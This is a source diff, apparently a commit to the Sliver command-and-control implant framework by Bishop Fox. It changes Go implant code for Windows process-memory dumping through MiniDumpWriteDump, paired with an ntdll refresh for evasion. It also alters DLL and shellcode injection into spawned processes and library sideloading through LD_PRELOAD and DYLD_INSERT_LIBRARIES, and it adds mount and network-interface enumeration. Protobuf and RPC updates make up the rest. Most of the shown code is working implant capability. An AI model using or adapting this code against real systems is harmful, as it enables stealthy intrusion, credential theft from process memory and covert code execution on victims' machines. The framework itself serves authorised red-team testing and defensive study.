log.Printf("Interfaces: %v\n", ifaces)
// {{end}}
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
}
// Switch back to the original namespace
unix.Setns(origns, unix.CLONE_NEWNET)
}
func ifconfigLinux() *sliverpb.Ifconfig {
netInterfaces, err := net.Interfaces()
if err != nil {
return nil
}
interfaces := &sliverpb.Ifconfig{
NetInterfaces: []*sliverpb.NetInterface{},
}
ifconfigParseInterfaces(netInterfaces, interfaces)
nsLinuxIfconfig(interfaces)
return interfaces
}
func ifconfigParseInterfaces(netInterfaces []net.Interface, interfaces *sliverpb.Ifconfig, namespacePath ...string) {
// Append namespace ID if passed in
var appendNsId = ""
if len(namespacePath) > 0 {
appendNsId = fmt.Sprintf(" NS(%v)",namespacePath[0])
}
for _, iface := range netInterfaces {
netIface := &sliverpb.NetInterface{
Index: int32(iface.Index),
Name: iface.Name + appendNsId,
}
if iface.HardwareAddr != nil {
netIface.MAC = iface.HardwareAddr.String()
}
addresses, err := iface.Addrs()
if err == nil {
for _, address := range addresses {
netIface.IPAddresses = append(netIface.IPAddresses, address.String())
}
}
interfaces.NetInterfaces = append(interfaces.NetInterfaces, netIface)
}
}
+1 -1
View File
@@ -1,4 +1,4 @@
//go:build 386 || amd64 || arm
//go:build 386 || amd64 || arm64
package limits
+56
View File
@@ -0,0 +1,56 @@
// +linux
package mount
import (
"bufio"
"os"
"strings"
"syscall"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
mountInfo := make([]*sliverpb.MountInfo, 0)
file, err := os.Open("/proc/self/mountinfo")
if err != nil {
return mountInfo, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
fields := strings.Fields(line)
// Extract fields according to the /proc/self/mountinfo format
// https://man7.org/linux/man-pages/man5/proc.5.html
mountRoot := fields[3]
mountPoint := fields[4]
mountOptions := fields[5]
mountType := fields[len(fields)-3]
mountSource := fields[len(fields)-2]
// Get mount information using statfs
var stat syscall.Statfs_t
err := syscall.Statfs(mountPoint, &stat)
if err != nil {
continue
}
var mountData sliverpb.MountInfo
mountData.Label = mountRoot
mountData.MountPoint = mountPoint
mountData.VolumeType = mountType
mountData.VolumeName = mountSource
mountData.MountOptions = mountOptions
mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
mountInfo = append(mountInfo, &mountData)
}
return mountInfo, nil
}
+279
View File
@@ -0,0 +1,279 @@
//go:build windows
// +build windows
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package mount
import (
"errors"
"fmt"
"strconv"
"strings"
"unicode/utf16"
"unsafe"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/sys/windows"
)
const (
pathLength = windows.MAX_PATH + 1
volumePathsLength = 32769 // 32K + 1 for a null terminator
universalNameInfoLevel = 1
remoteNameInfoLevel = 2
remoteNameMaxLength = 1024
)
type UniversalNameInfo struct {
UniversalName [remoteNameMaxLength]uint16
}
func findAllVolumes() ([]string, error) {
var volumes []string
volumeGuid := make([]uint16, pathLength)
handle, err := windows.FindFirstVolume(&volumeGuid[0], pathLength)
defer windows.FindVolumeClose(handle)
if err != nil {
return volumes, err
}
volumes = append(volumes, windows.UTF16ToString(volumeGuid))
// Keep gathering volumes until we cannot find anymore
for {
err = windows.FindNextVolume(handle, &volumeGuid[0], pathLength)
if err != nil {
if err == windows.ERROR_NO_MORE_FILES {
// Then we are done
break
} else {
return volumes, err
}
}
volumes = append(volumes, windows.UTF16ToString(volumeGuid))
}
return volumes, nil
}
func findMountPointsForVolume(volumeName string) ([]string, error) {
const nullByte uint16 = 0
var volumeMounts []string
mountsForVolume := make([]uint16, volumePathsLength)
var returnedInformationLength uint32 = 0
volNameUint, err := windows.UTF16PtrFromString(volumeName)
if err != nil {
return volumeMounts, err
}
err = windows.GetVolumePathNamesForVolumeName(volNameUint, &mountsForVolume[0], volumePathsLength, &returnedInformationLength)
if err != nil {
if err == windows.ERROR_MORE_DATA {
// Then we need to make the buffer bigger and try again
// We will try one more time
mountsForVolume := make([]uint16, returnedInformationLength)
err = windows.GetVolumePathNamesForVolumeName(volNameUint, &mountsForVolume[0], volumePathsLength, &returnedInformationLength)
if err != nil {
return volumeMounts, err
}
} else {
return volumeMounts, err
}
}
/*
Because the buffer contains multiple strings separated by a null terminator, we will read the
buffer in chunks and separate the strings
*/
volumeMounts = splitStringBuffer(mountsForVolume)
return volumeMounts, nil
}
func splitStringBuffer(buffer []uint16) []string {
bufferString := string(utf16.Decode(buffer))
return strings.Split(strings.TrimRight(bufferString, "\x00"), "\x00")
}
func getAllDrives() ([]string, error) {
var logicalDrives []string
// Get necessary buffer size
n, err := windows.GetLogicalDriveStrings(0, nil)
driveStrings := make([]uint16, n)
_, err = windows.GetLogicalDriveStrings(n, &driveStrings[0])
if err != nil {
return logicalDrives, err
}
logicalDrives = splitStringBuffer(driveStrings)
return logicalDrives, nil
}
func getDriveType(driveSpec string) string {
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
if err != nil {
return ""
}
// Convert type to string (client will handle translation)
driveTypeValue := strconv.FormatUint(uint64(windows.GetDriveType(driveUTF16)), 10)
return driveTypeValue
}
func getUniversalName(driveSpec string) (string, error) {
mpr := windows.NewLazyDLL("mpr.dll")
wNetGetUniversalNameWProc := mpr.NewProc("WNetGetUniversalNameW")
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
if err != nil {
return "", err
}
var universalNameBuffer UniversalNameInfo
var bufferSize = uint32(unsafe.Sizeof(universalNameBuffer))
returnCode, _, err := wNetGetUniversalNameWProc.Call(
uintptr(unsafe.Pointer(driveUTF16)),
uintptr(universalNameInfoLevel),
uintptr(unsafe.Pointer(&universalNameBuffer)),
uintptr(unsafe.Pointer(&bufferSize)),
)
if returnCode != 0 {
// Then there was an error
return "", fmt.Errorf("%v", windows.Errno(returnCode).Error())
}
bufferStrings := splitStringBuffer(universalNameBuffer.UniversalName[:])
// There is some junk returned at the beginning of the structure. The actual UNC path starts after the first null terminator.
if len(bufferStrings) > 1 {
return bufferStrings[1], nil
} else {
return "", errors.New("No valid data returned")
}
}
func getDiskStats(driveSpec string) (uint64, uint64, uint64, error) {
var freeSpace uint64 = 0
var usedSpace uint64 = 0
var totalSpace uint64 = 0
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
if err != nil {
return freeSpace, usedSpace, totalSpace, err
}
err = windows.GetDiskFreeSpaceEx(driveUTF16, nil, &totalSpace, &freeSpace)
if err != nil {
return freeSpace, usedSpace, totalSpace, err
}
usedSpace = totalSpace - freeSpace
return freeSpace, usedSpace, totalSpace, nil
}
func getDriveInfo(driveSpec string) (string, string) {
// Get label and filesystem type
driveUTF16, err := windows.UTF16PtrFromString(driveSpec)
if err != nil {
return "", ""
}
volumeNameBuffer := make([]uint16, pathLength)
fileSystemNameBuffer := make([]uint16, pathLength)
err = windows.GetVolumeInformation(driveUTF16, &volumeNameBuffer[0], pathLength, nil, nil, nil, &fileSystemNameBuffer[0], pathLength)
if err != nil {
return "", ""
}
return windows.UTF16ToString(volumeNameBuffer), windows.UTF16ToString(fileSystemNameBuffer)
}
func constructDriveVolumeMap() (map[string]string, error) {
driveVolumeMap := make(map[string]string)
volumes, err := findAllVolumes()
if err != nil {
return driveVolumeMap, err
}
for _, volume := range volumes {
mountPoints, err := findMountPointsForVolume(volume)
if err != nil {
return driveVolumeMap, err
}
for _, mountPoint := range mountPoints {
driveVolumeMap[mountPoint] = volume
}
}
return driveVolumeMap, nil
}
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
mountInfo := make([]*sliverpb.MountInfo, 0)
logicalDrives, err := getAllDrives()
if err != nil {
return mountInfo, err
}
driveVolumeMap, err := constructDriveVolumeMap()
if err != nil {
return mountInfo, err
}
for _, drive := range logicalDrives {
var mountData sliverpb.MountInfo
mountData.MountPoint = drive
mountData.VolumeType = getDriveType(drive)
// Drive type of 4 is "Remote"
// As per https://cs.opensource.google/go/x/sys/+/refs/tags/v0.18.0:windows/syscall_windows.go;l=33
if mountData.VolumeType == "4" {
// Then this is a network drive, so let's figure out the UNC path
networkPath, err := getUniversalName(drive)
if err != nil {
return mountInfo, err
}
mountData.VolumeName = networkPath
} else {
mountData.VolumeName = driveVolumeMap[drive]
}
mountData.Label, mountData.FileSystem = getDriveInfo(drive)
free, used, total, err := getDiskStats(drive)
if err != nil {
return mountInfo, err
}
mountData.UsedSpace = used
mountData.FreeSpace = free
mountData.TotalSpace = total
mountInfo = append(mountInfo, &mountData)
}
return mountInfo, nil
}
+53 -86
View File
@@ -20,6 +20,9 @@ package procdump
import (
"fmt"
"sort"
"sync"
//{{if .Config.Debug}}
"log"
//{{end}}
@@ -66,19 +69,44 @@ const (
S_OK = 0
TRUE = 1
FALSE = 0
IncrementSize = 5 * 1024 * 1024
MiniDumpWithFullMemory = 0x00000002
)
// var bytesRead uint32 = 0
type WindowsDump struct {
data []byte
}
type outDump struct {
outPtr uintptr
bytesRead uint32
chunks sync.Map
}
func (o *outDump) reassemble() []byte {
keys := make([]uint64, 0)
o.chunks.Range(func(k, v interface{}) bool {
keys = append(keys, k.(uint64))
return true
})
sort.Slice(keys, func(i, j int) bool { return keys[i] < keys[j] })
lastChunckOffset := keys[len(keys)-1]
lastChunk, ok := o.chunks.Load(lastChunckOffset)
if !ok {
// {{if .Config.Debug}}
log.Println("lastChunk not found")
// {{end}}
return nil
}
output := make([]byte, lastChunckOffset+uint64(len(lastChunk.([]byte))))
for _, k := range keys {
chunk, ok := o.chunks.Load(k)
if !ok {
// {{if .Config.Debug}}
log.Printf("chunk %d not found\n", k)
// {{end}}
return nil
}
copy(output[k:], chunk.([]byte))
}
return output
}
func (d *WindowsDump) Data() []byte {
@@ -93,13 +121,7 @@ func dumpProcess(pid int32) (ProcessDump, error) {
}
hProc, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(pid))
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return res, err
}
currentProcHandle := windows.CurrentProcess()
err = windows.DuplicateHandle(hProc, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
@@ -115,11 +137,12 @@ func dumpProcess(pid int32) (ProcessDump, error) {
}
func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
var err error
dump := &WindowsDump{}
// {{if eq .Config.GOARCH "amd64"}}
// Hotfix for #66 - need to dig deeper
// {{if .Config.Evasion}}
err := evasion.RefreshPE(`c:\windows\system32\ntdll.dll`)
err = evasion.RefreshPE(`c:\windows\system32\ntdll.dll`)
if err != nil {
//{{if .Config.Debug}}
log.Println("RefreshPE failed:", err)
@@ -129,30 +152,8 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
// {{end}}
// {{end}}
heapHandle, err := syscalls.GetProcessHeap()
if err != nil {
return dump, err
}
procMemCounters := syscalls.ProcessMemoryCounters{}
sizeOfMemCounters := uint32(unsafe.Sizeof(procMemCounters))
err = syscalls.GetProcessMemoryInfo(proc, &procMemCounters, sizeOfMemCounters)
if err != nil {
// {{if .Config.Debug}}
log.Printf("GetProcessMemoryInfo failed: %s\n", err)
// {{end}}
return dump, err
}
heapSize := procMemCounters.WorkingSetSize + IncrementSize
dumpBuffer, err := syscalls.HeapAlloc(heapHandle, 0x00000008, uintptr(heapSize))
if err != nil {
return dump, err
}
outData := outDump{
outPtr: dumpBuffer,
chunks: sync.Map{},
}
callbackInfo := MiniDumpCallbackInformation{
@@ -171,22 +172,15 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
)
if err != nil {
//{{if .Config.Debug}}
log.Println("Minidump syscall failed:", err)
//{{end}}
return dump, err
}
outBuff := make([]byte, outData.bytesRead)
outBuffAddr := uintptr(unsafe.Pointer(&outBuff[0]))
syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, outData.bytesRead)
err = syscalls.HeapFree(heapHandle, 0, outData.outPtr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("HeapFree failed: \n", err)
// {{end}}
return dump, err
}
dump.data = outBuff
// {{if .Config.Debug}}
log.Println("Dump completed, reassembling...")
// {{end}}
dump.data = outData.reassemble()
// {{if .Config.Debug}}
log.Println("Reassembly done!")
// {{end}}
return dump, nil
}
@@ -217,9 +211,7 @@ func getCallbackInput(callbackInputPtr uintptr) (*MiniDumpCallbackInput, error)
callbackInput := MiniDumpCallbackInput{}
ioCallback := MiniDumpIOCallback{}
bufferSize := unsafe.Sizeof(callbackInput)
data := make([]byte, bufferSize)
dataPtr := uintptr(unsafe.Pointer(&data[0]))
syscalls.RtlCopyMemory(dataPtr, callbackInputPtr, uint32(bufferSize))
data := unsafe.Slice((*byte)(unsafe.Pointer(callbackInputPtr)), int(bufferSize))
buffReader := bytes.NewReader(data)
err := binary.Read(buffReader, binary.LittleEndian, &callbackInput.ProcessId)
if err != nil {
@@ -267,45 +259,20 @@ func minidumpCallback(callbackParam uintptr, callbackInputPtr uintptr, callbackO
// {{end}}
return FALSE
}
// {{if .Config.Debug}}
log.Printf("minidumpCallback called: %v\n", callbackInput.CallbackType)
// {{end}}
switch callbackInput.CallbackType {
case IoStartCallback:
callbackOutput.Status = S_FALSE
case IoWriteAllCallback:
callbackOutput.Status = S_OK
outData := (*outDump)(unsafe.Pointer(callbackParam))
procHeap, err := syscalls.GetProcessHeap()
if err != nil {
// {{if .Config.Debug}}
log.Printf("minidumpCallback GetProcessHeap failed: %s\n", err.Error())
// {{end}}
return FALSE
}
currentBuffSize, err := syscalls.HeapSize(procHeap, 0, outData.outPtr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("minidumpCallback HeapSize failed: %s\n", err.Error())
// {{end}}
return FALSE
}
bytesAndOffset := callbackInput.Io.Offset + uint64(callbackInput.Io.BufferBytes)
if bytesAndOffset >= uint64(currentBuffSize) {
increasedSize := IncrementSize
if bytesAndOffset <= uint64(currentBuffSize*2) {
increasedSize = int(currentBuffSize) * 2
} else {
increasedSize += int(bytesAndOffset)
}
outData.outPtr, err = syscalls.HeapReAlloc(procHeap, 0, outData.outPtr, uintptr(increasedSize))
if err != nil {
// {{if .Config.Debug}}
log.Printf("minidumpCallback HeapReAlloc failed: %s\n", err.Error())
// {{end}}
return FALSE
}
}
destination := outData.outPtr + uintptr(callbackInput.Io.Offset)
syscalls.RtlCopyMemory(destination, callbackInput.Io.Buffer, callbackInput.Io.BufferBytes)
outData.bytesRead += callbackInput.Io.BufferBytes
liveSliceSize := int(callbackInput.Io.BufferBytes)
liveSlice := unsafe.Slice((*byte)(unsafe.Pointer(callbackInput.Io.Buffer)), liveSliceSize)
newChunk := make([]byte, liveSliceSize)
copy(newChunk, liveSlice)
outData.chunks.Store(callbackInput.Io.Offset, newChunk)
case IoFinishCallback:
callbackOutput.Status = S_OK
default:
@@ -1,79 +0,0 @@
package screen
/*
Sliver Implant Framework
Copyright (C) 2020 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.IsSharedLib}}
"bytes"
"image/png"
// {{if .Config.Debug}}
"log"
// {{end}}
//{{end}} - End Shared Lib
// {{if .Config.IsSharedLib}}
screen "github.com/kbinani/screenshot"
// {{end}}
)
//Screenshot - Not Implemented
func Screenshot() []byte {
buf := []byte{}
// {{if .Config.IsSharedLib}}
buf = DarwinCapture()
// {{end}}
return buf
}
// DarwinCapture - Retrieve the screenshot of the active displays
// {{if .Config.IsSharedLib}}
func DarwinCapture() []byte {
nDisplays := screen.NumActiveDisplays()
var height, width int = 0, 0
for i := 0; i < nDisplays; i++ {
rect := screen.GetDisplayBounds(i)
if rect.Dy() > height {
height = rect.Dy()
}
width += rect.Dx()
}
img, err := screen.Capture(0, 0, width, height)
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
//{{if .Config.Debug}}
log.Println("Capture Error")
//{{end}}
return buf.Bytes()
}
png.Encode(&buf, img)
return buf.Bytes()
}
// {{end}}
@@ -0,0 +1,8 @@
//go:build !windows && !linux
package screen
// Screenshot - Retrieve the screenshot of the active displays
func Screenshot() []byte {
return []byte{}
}
+2
View File
@@ -3,6 +3,8 @@
#ifdef __WIN32
#include <windows.h>
void StartW();
DWORD WINAPI Start()
{
StartW();
+1
View File
@@ -598,6 +598,7 @@ func sessionMainLoop(connection *transports.Connection) error {
rportfwdHandlers := handlers.GetRportFwdHandlers()
for envelope := range connection.Recv {
envelope := envelope
if _, ok := specialHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] specialHandler %d", envelope.Type)
+1 -1
View File
@@ -20,7 +20,7 @@ package syscalls
//sys CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32)(threadHandle windows.Handle, err error) = kernel32.CreateThread
//sys GetExitCodeThread(hTread windows.Handle, lpExitCode *uint32) (err error) = kernel32.GetExitCodeThread
//sys MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) = DbgHelp.MiniDumpWriteDump
//sys MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) = DbgCore.MiniDumpWriteDump
//sys ImpersonateLoggedOnUser(hToken windows.Token) (err error) = advapi32.ImpersonateLoggedOnUser
//sys LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) = advapi32.LogonUserW
+3 -2
View File
@@ -22,6 +22,7 @@ import (
"bytes"
"fmt"
"io/ioutil"
"strings"
"sync"
//{{if .Config.Debug}}
@@ -58,7 +59,7 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
}
// Sideload - Side load a library and return its output
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
var (
stdOut bytes.Buffer
stdErr bytes.Buffer
@@ -72,7 +73,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
}
env := os.Environ()
newEnv := []string{
fmt.Sprintf("LD_PARAMS=%s", args),
fmt.Sprintf("LD_PARAMS=%s", strings.Join(args, " ")),
fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
}
env = append(env, newEnv...)
+3 -2
View File
@@ -24,6 +24,7 @@ import (
"os"
"os/exec"
"runtime"
"strings"
"sync"
"syscall"
"unsafe"
@@ -55,7 +56,7 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
}
// Sideload - Side load a library and return its output
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
var (
nrMemfdCreate int
stdOut bytes.Buffer
@@ -91,7 +92,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
//{{end}}
env := os.Environ()
newEnv := []string{
fmt.Sprintf("LD_PARAMS=%s", args),
fmt.Sprintf("LD_PARAMS=%s", strings.Join(args, " ")),
fmt.Sprintf("LD_PRELOAD=%s", fdPath),
}
env = append(env, newEnv...)
+10 -7
View File
@@ -31,8 +31,10 @@ import (
"time"
"unsafe"
"github.com/bishopfox/sliver/implant/sliver/spoof"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/spoof"
// {{if .Config.Evasion}}
"github.com/bishopfox/sliver/implant/sliver/evasion"
"github.com/bishopfox/sliver/implant/sliver/version"
@@ -343,7 +345,7 @@ func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uin
return stdoutBuf.String() + stderrBuf.String(), nil
}
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args string, kill bool) (string, error) {
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args []string, kill bool) (string, error) {
var lpTargetHandle windows.Handle
err := refresh()
if err != nil {
@@ -382,11 +384,12 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
defer windows.CloseHandle(lpTargetHandle)
dataAddr, err := allocAndWrite(data, lpTargetHandle, uint32(len(data)))
argAddr := uintptr(0)
if len(args) > 0 {
argsStr := strings.Join(args, " ")
if len(argsStr) > 0 {
//{{if .Config.Debug}}
log.Printf("Args: %s\n", args)
log.Printf("Args: %s\n", argsStr)
//{{end}}
argsArray := []byte(args)
argsArray := []byte(argsStr)
argAddr, err = allocAndWrite(argsArray, lpTargetHandle, uint32(len(argsArray)))
if err != nil {
return "", err
@@ -419,8 +422,8 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
}
// SideLoad - Side load a binary as shellcode and returns its output
func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args string, kill bool) (string, error) {
return SpawnDll(procName, procArgs, ppid, data, 0, "", kill)
func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args []string, kill bool) (string, error) {
return SpawnDll(procName, procArgs, ppid, data, 0, []string{""}, kill)
}
// Util functions
+6 -4
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.15.8
// protoc-gen-go v1.27.1
// protoc v5.26.1
// source: clientpb/client.proto
package clientpb
@@ -5752,7 +5752,8 @@ func (x *MsfStager) GetFile() *commonpb.File {
}
// GetSystemReq - Client request to the server which is translated into
// InvokeSystemReq when sending to the implant.
//
// InvokeSystemReq when sending to the implant.
type GetSystemReq struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -5825,7 +5826,8 @@ func (x *GetSystemReq) GetRequest() *commonpb.Request {
}
// MigrateReq - Client request to the server which is translated into
// InvokeMigrateReq when sending to the implant.
//
// InvokeMigrateReq when sending to the implant.
type MigrateReq struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
+5 -4
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.15.8
// protoc-gen-go v1.27.1
// protoc v5.26.1
// source: commonpb/common.proto
package commonpb
@@ -131,8 +131,9 @@ func (x *Request) GetSessionID() string {
}
// Response - Common fields used in all gRPC responses. Note that the Err field
// only used when the implant needs to return an error to the server.
// Client<->Server comms should use normal gRPC error handling.
//
// only used when the implant needs to return an error to the server.
// Client<->Server comms should use normal gRPC error handling.
type Response struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
+5 -7
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.15.8
// protoc-gen-go v1.27.1
// protoc v5.26.1
// source: dnspb/dns.proto
package dnspb
@@ -87,12 +87,10 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
}
// NOTE: DNS is very space sensitive so certain fields are re-purposed
// depending on the DNSMessageType as noted below:
//
//NOTE: DNS is very space sensitive so certain fields are re-purposed
//depending on the DNSMessageType as noted below:
//
//[Type TOTP]: ID field is used for the TOTP code
//
// [Type TOTP]: ID field is used for the TOTP code
type DNSMessage struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
File diff suppressed because it is too large. Load diff
+1
View File
@@ -177,6 +177,7 @@ service SliverRPC {
rpc MemfilesList(sliverpb.MemfilesListReq) returns (sliverpb.Ls);
rpc MemfilesAdd(sliverpb.MemfilesAddReq) returns (sliverpb.MemfilesAdd);
rpc MemfilesRm(sliverpb.MemfilesRmReq) returns (sliverpb.MemfilesRm);
rpc Mount(sliverpb.MountReq) returns (sliverpb.Mount);
rpc ProcessDump(sliverpb.ProcessDumpReq) returns (sliverpb.ProcessDump);
rpc RunAs(sliverpb.RunAsReq) returns (sliverpb.RunAs);
rpc Impersonate(sliverpb.ImpersonateReq) returns (sliverpb.Impersonate);
File diff suppressed because it is too large. Load diff
+7
View File
@@ -349,6 +349,9 @@ const (
MsgStartServiceByNameReq
MsgRegistryReadHiveReq
// MsgMountReq - Request filesystem mounts
MsgMountReq
)
// Constants to replace enums
@@ -595,8 +598,12 @@ func MsgNumber(request proto.Message) uint32 {
case *GrepReq:
return MsgGrepReq
case *MountReq:
return MsgMountReq
case *MemfilesListReq:
return MsgMemfilesListReq
case *MemfilesAddReq:
return MsgMemfilesAddReq
case *MemfilesAdd:
File diff suppressed because it is too large. Load diff
+27 -18
View File
@@ -327,6 +327,28 @@ message Grep {
commonpb.Response Response = 9;
}
message MountReq {
commonpb.Request Request = 9;
}
message MountInfo {
string VolumeName = 1;
string VolumeType = 2;
string MountPoint = 3;
string Label = 4;
string FileSystem = 5;
uint64 UsedSpace = 6;
uint64 FreeSpace = 7;
uint64 TotalSpace = 8;
string MountOptions = 9;
}
message Mount {
repeated MountInfo Info = 1;
commonpb.Response Response = 9;
}
message ProcessDumpReq {
int32 Pid = 1;
int32 Timeout = 2;
@@ -340,6 +362,7 @@ message ProcessDump {
commonpb.Response Response = 9;
}
message RunAsReq {
string Username = 1;
string ProcessName = 2;
@@ -428,7 +451,7 @@ message Task {
message ExecuteAssemblyReq {
bytes Assembly = 1;
string Arguments = 2;
repeated string Arguments = 2;
string Process = 3;
bool IsDLL = 4;
string Arch = 5;
@@ -520,7 +543,7 @@ message Execute {
message SideloadReq {
bytes Data = 1;
string ProcessName = 2;
string Args = 3;
repeated string Args = 3;
string EntryPoint = 4;
bool Kill = 5;
bool isDLL = 6;
@@ -540,7 +563,7 @@ message Sideload {
message InvokeSpawnDllReq {
bytes Data = 1;
string ProcessName = 2;
string Args = 3;
repeated string Args = 3;
string EntryPoint = 4;
bool Kill = 5;
uint32 PPid = 10;
@@ -553,7 +576,7 @@ message SpawnDllReq {
bytes Data = 1;
string ProcessName = 2;
uint32 Offset = 3;
string Args = 4;
repeated string Args = 4;
bool Kill = 5;
uint32 PPid = 10;
repeated string ProcessArgs = 11;
@@ -624,20 +647,6 @@ message UnsetEnv {
commonpb.Response Response = 9;
}
// DNS Specific messages
message DNSSessionInit {
bytes Key = 1;
}
message DNSPoll {
repeated DNSBlockHeader blocks = 1;
}
message DNSBlockHeader {
string ID = 1;
uint32 Size = 2;
}
// HTTP Sepecific message
message HTTPSessionInit {
bytes Key = 1;
+178 -10
View File
@@ -19,8 +19,10 @@ package assets
*/
import (
"archive/tar"
"archive/zip"
"bytes"
"crypto/rand"
"embed"
"encoding/hex"
"fmt"
@@ -39,6 +41,11 @@ import (
protobufs "github.com/bishopfox/sliver/protobuf"
"github.com/bishopfox/sliver/util"
"github.com/ulikunitz/xz"
)
const (
zigDirName = "zig"
)
var (
@@ -122,6 +129,63 @@ func pseudoRandStringRunes(n int) string {
return string(b)
}
func setupZig(appDir string) error {
setupLog.Infof("Unpacking to '%s'", appDir)
zigRootPath := filepath.Join(appDir, zigDirName)
setupLog.Infof("zig path = %s", zigRootPath)
if _, err := os.Stat(zigRootPath); !os.IsNotExist(err) {
setupLog.Info("Removing old zig root directory")
os.Chmod(zigRootPath, 0700)
err = util.ChmodR(zigRootPath, 0600, 0700) // Make sure everything is writable before we try to rm
if err != nil {
setupLog.Warnf("Failed to modify file system permissions of old zig root directory %s", err)
}
err = os.RemoveAll(zigRootPath)
if err != nil {
setupLog.Warnf("Failed to cleanup old zig root directory %s", err)
}
}
os.MkdirAll(zigRootPath, 0700)
// extract xz archive
if runtime.GOOS != "windows" {
// Everything except windows
zigXzFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "zig.tar.xz")
zigXzBuf, err := assetsFs.ReadFile(zigXzFSPath)
if err != nil {
setupLog.Errorf("static asset not found: %s", zigXzFSPath)
return err
}
xzReader, err := xz.NewReader(bytes.NewReader(zigXzBuf))
if err != nil {
setupLog.Errorf("NewReader error %s", err)
return err
}
// Extract tar archive
setupLog.Infof("Unpacking zig.tar.xz to %s", zigRootPath)
return untarSkipTopLevel(zigRootPath, xzReader)
} else {
// Windows only, since it's an awful operating system
zigZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "zig.zip")
zigZipBuf, err := assetsFs.ReadFile(zigZipFSPath)
if err != nil {
setupLog.Errorf("static asset not found: %s", zigZipFSPath)
return err
}
reader, err := zip.NewReader(bytes.NewReader(zigZipBuf), int64(len(zigZipBuf)))
if err != nil {
setupLog.Errorf("zip.NewReader error %s", err)
return err
}
err = unzipSkipTopLevel(zigRootPath, reader)
if err != nil {
setupLog.Infof("Failed to unzip file %s -> %s", zigZipFSPath, zigRootPath)
return err
}
return nil
}
}
// SetupGo - Unzip Go compiler assets
func setupGo(appDir string) error {
